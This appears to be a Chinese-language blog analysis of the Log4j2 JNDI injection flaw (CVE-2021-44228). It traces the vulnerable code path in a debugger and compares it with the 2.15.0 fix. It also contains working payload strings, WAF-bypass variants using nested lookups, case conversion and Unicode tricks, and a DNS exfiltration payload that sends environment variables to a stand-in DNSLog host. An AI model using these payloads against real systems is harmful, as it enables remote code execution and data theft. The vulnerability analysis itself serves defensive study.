log4j2漏洞分析

Log4j 2 是 Apache 提供的 Java 日志框架。

影响版本

CVE-2021-44228 仅影响 log4j-core,不影响只使用 log4j-api 的应用。官方给出的影响范围为:

  • Java 8 及以上:[2.0-beta9, 2.15.0),修复版本为 2.15.0;
  • Java 7:[2.0-beta9, 2.12.2),修复版本为 2.12.2;
  • Java 6:[2.0-beta9, 2.3.1),修复版本为 2.3.1。

后续版本还修复了其他相关问题,实际加固时不应只停留在 2.15.0,建议升级到仍受支持的最新版本。

漏洞分析

环境

  • jdk8u65

  • Log4j2 2.14.1

  • CC 3.2.1

    pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>  
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class log4j_demo {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

String test = "${jndi:ldap://127.0.0.1:1099/ExportObject}";

logger.info(test);
}
}

流程分析

断点在 PatternLayout 这个类下的 toSerializable() 方法。

入口点:日志格式化引擎开始工作,遍历配置好的各种 Converter,准备拼接整条日志

image.png

先是一个循环,遍历 formatters 一段一段的拼接输出的内容,两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer。

image.png

跟进 format() 方法,用循环来遍历 formatters 的,中间会做很多数据处理的工作,这都不重要,但是有一个地方特别重要,我这里当 i = 7 的时候进入到了另外的一个 format 处理方法,如图。

image.png

image.png

进到这个 format() 方法里面之后,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走。

image.png

续往下走,会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在 ${ ,那么就会取出从 $ 开始知道最后的字符串

image.png

workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,还有payload

image.png

value 就是payload ${jndi:ldap://127.0.0.1:1389/Calc}跟进 replace() 方法,replace() 方法里面调用了 substitute() 方法,作用就是递归解析 ${} 占位符,提取变量名

image.png

跟进之后 f7 进入到这里

image.png

继续往下走,直到这个 while 循环里面,在 while 循环中,会对字符进行逐字匹配 ${

image.png

然后进行循环读取,知道读取到 } 并获取其坐标,然后将 ${} 中间的内容取出来,然后又会调用 this.subtitute 来处理。

substitute() 会多次进入:因为日志字符串中包含多个 ${}(如日期格式、上下文等),需要用 F9 跳过无关的迭代,直到 varName 变为 jndi:ldap://… 时才跟进。

再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数,varName 就是为 ${} 中的值

image.png

resolver解析时根据前缀(也就是的 date, java, jndi, env 等)进行路由匹配。识别到 jndi: 前缀,决定将其分发给专属的处理插件 JndiLookup

image.png

image.png

看到 resolveVariable() 方法里面是调用了 lookup() 方法,这个 lookup() 方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的 lookup() 方法的,是存在漏洞的。

1
JndiLookup.lookup("ldap://127.0.0.1:1099")

image.png

跟进,再往下走就是 JNDI 常规的注入了,Log4j2 的 JndiLookup 插件接管字符串,去除了前缀后,将 ldap://127.0.0.1:1099 传入 Java 原生的 InitialContext.lookup() 方法,正式触发 JNDI 注入。分析过程到此结束。

image.png

绕过

1、利用内置解析规则 (:- 和嵌套)

1
logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

Log4j2 的 StrSubstitutor 解析 ${} 时是从里向外递归解析的,且支持 ${变量:默认值} 的语法。

  • 默认值截断 (**:-**)${::-J}。如果前面为空,就输出默认值 J。WAF 的正则通常是写死匹配 jndi:,当你写成 ${::-j}ndi: 时,WAF 的正则匹配直接中断,但 Log4j2 拼接后依然能还原出 jndi:
  • 无限嵌套${${lower:jn}di:xxx}。WAF 的正则引擎在面对多层嵌套括号时,极其容易发生灾难性回溯或者直接放弃匹配。攻击者利用这种嵌套,像搭积木一样把敏感词拆散,WAF 的静态特征库瞬间全部失效。

2、编码与特性

1
2
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");

WAF 常见手法,利用了不同语言/组件在处理字符时的底层差异。

  • 大小写转换 (**lower/upper**):强行打断连续的关键字。
  • Unicode 宽字节/特殊字符映射:土耳其语中的无点 ı。Java 的 toUpperCase() 在处理这个字符时,会将其映射为普通的英文字母大写 I。如果 WAF 是用 C++ 或 Go 写的,它的底层字符集处理逻辑大概率和 Java 不一样,根本不认识 ı,从而完美放行。
  • JSON 序列化层:现代架构通常是 WAF -> Web 容器 -> Fastjson 解析 -> Log4j2 打印。在 HTTP 流量里传输 \u0024\u007b,WAF 在 HTTP 层面看到的是普通的 Unicode 字符串,没有拦截。等到请求进入业务层,Fastjson 或 Jackson 会自动把它解码成 ${,然后再喂给 Log4j2。这是利用了业务自身的反序列化机制来做 WAF 绕过的跳板。

3、OOB 数据外带:DNSLog

核心逻辑:当目标服务器被严格限制,无法对外发起 LDAP/RMI 连接(无法 RCE),甚至不让下载恶意类时,通过 DNS 协议把敏感数据“偷”出来。

  • **奇淫技巧的实战价值:**这是攻防演练中极其实用的打法。既然 ${jndi:ldap...} 执行不了命令,那我就把 payload 改成 ${jndi:ldap://${env:USER}.your-dnslog.com}
  • **执行流:**Log4j2 会先解析 ${env:USER} 拿到当前系统运行的用户名(比如 root),然后拼接成 ldap://root.your-dnslog.com。接着 JNDI 尝试去解析这个域名,你的 DNSLog 平台就会收到一条带有 root 的解析记录。
  • **扩展:**利用这种嵌套,不仅能读环境变量(${env:}),还能读系统属性(${sys:})、运行参数、甚至是 Docker 容器的元数据。虽然没拿到 Shell,但这些敏感信息往往能直接打穿内网。

image.png

log4j2 2.15.0 漏洞修复

2.15.0 之后默认不开启 JNDI Lookup

把断点打在 PatternLayout#toSerializable
左边是 2.14.1 版本的,右边是 2.15.0 版本的,开始调试。

2.14.1 类是 MessagePatternConverter,默认解析 ${}

2.15.0 是 MessagePatternConverter.SimplePatternConverter,默认关闭 Lookup

在 2.15.0 中,官方将处理常规日志内容的类默认降级成了 SimplePatternConverter

image.png

它的 format 方法不再去嗅探 ${},而是直接把字符串追加(toAppendTo)到日志里。(除非开发者在配置里强行写上 %msg{lookups},否则根本走不到解析那一步)。可以对比看一下

toAppendTo 的作用是仅仅将数据作为纯文本的字节序列,直接扔进最终用于输出到磁盘/控制台的 Buffer 中。 彻底绕开引擎:在这个过程中,代码根本没有写去判断 ${ 的逻辑,也没有任何分支语句能把控制权交给 StrSubstitutor。

2.14.1:

拿到输入的 username = "${jndi:ldap://...}"。会立刻把数据放进最终的日志 Buffer(缓存区)里。它会先像个安检员一样,扫描这段字符串。看到了 ${。候,它会把这段字符串从“写入流水线”里抽离出来,扔给旁边那个叫 StrSubstitutor 的解析引擎去处理。StrSubstitutor 开始剥洋葱、路由,最终调用 JndiLookup 去执行远程加载。此时,程序的控制流(Control Flow)已经完全进入了 JNDI 机制里。

image.png

image.png